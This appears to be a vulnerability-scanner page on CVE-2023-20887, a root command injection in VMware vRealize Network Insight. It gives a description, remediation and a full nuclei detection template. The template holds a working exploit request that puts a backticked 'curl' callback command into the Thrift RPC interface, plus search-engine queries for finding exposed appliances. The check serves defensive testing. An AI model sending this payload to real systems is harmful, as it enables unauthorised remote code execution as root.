VMware VRealize Network Insight - Remote Code Execution

Exploited in the wild. Listed by CISA on 2023-06-22; known to be used by ransomware.

criticalseverity

9.8CVSS score

98.3%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

VMWare Aria Operations for Networks (vRealize Network Insight) is vulnerable to command injection when accepting user input through the Apache Thrift RPC interface. This vulnerability allows a remote unauthenticated attacker to execute arbitrary commands on the underlying operating system as the root user. The RPC interface is protected by a reverse proxy which can be bypassed. VMware has evaluated the severity of this issue to be in the Critical severity range with a maximum CVSSv3 base score of 9.8. A malicious actor can get remote code execution in the context of 'root' on the appliance. VMWare 6.x version are vulnerable.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.

Fix

Apply the latest security patches provided by VMware to mitigate this vulnerability.

How to confirm it

Send: POST /saas./resttosaasservlet
Positive when: contains "{\"rec\":" AND contains in header "application/x-thrift" AND not contains "Provided invalid node Id" or "Invalid nodeId" AND status 200

Run it with nuclei: nuclei -id CVE-2023-20887 -u <target>

The full check

id: CVE-2023-20887

info:
  name: VMware VRealize Network Insight - Remote Code Execution
  author: sinsinology
  severity: critical
  description: |
    VMWare Aria Operations for Networks (vRealize Network Insight) is vulnerable to command injection when accepting user input through the Apache Thrift RPC interface. This vulnerability allows a remote unauthenticated attacker to execute arbitrary commands on the underlying operating system as the root user. The RPC interface is protected by a reverse proxy which can be bypassed. VMware has evaluated the severity of this issue to be in the Critical severity range with a maximum CVSSv3 base score of 9.8. A malicious actor can get remote code execution in the context of 'root' on the appliance. VMWare 6.x version are
     vulnerable.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patches provided by VMware to mitigate this vulnerability.
  reference:
    - https://www.vmware.com/security/advisories/VMSA-2023-0012.html
    - https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-20887/
    - https://github.com/sinsinology/CVE-2023-20887
    - http://packetstormsecurity.com/files/173761/VMWare-Aria-Operations-For-Networks-Remote-Command-Execution.html
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-20887
    cwe-id: CWE-77
    epss-score: 0.98281
    epss-percentile: 0.99916
    cpe: cpe:2.3:a:vmware:vrealize_network_insight:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: vmware
    product: vrealize_network_insight
    shodan-query:
      - title:"VMware vRealize Network Insight"
      - http.title:"vmware vrealize network insight"
      - http.title:"vmware aria operations"
    fofa-query:
      - title="VMware vRealize Network Insight"
      - title="vmware aria operations"
      - title="vmware vrealize network insight"
    google-query:
      - intitle:"vmware aria operations"
      - intitle:"vmware vrealize network insight"
  tags: cve2023,cve,packetstorm,vmware,rce,msf,vrealize,insight,oast,kev,vkev,vuln
variables:
  cmd: "curl {{interactsh-url}}"

http:
  - raw:
      - |
        POST /saas./resttosaasservlet HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-thrift

        [1,"createSupportBundle",1,0,{"1":{"str":"1111"},"2":{"str":"`{{cmd}}`"},"3":{"str":"value3"},"4":{"lst":["str",2,"AAAA","BBBB"]}}]

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{"rec":'

      - type: word
        part: header
        words:
          - "application/x-thrift"

      - type: word
        part: body
        negative: true
        words:
          - "Provided invalid node Id"
          - "Invalid nodeId"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from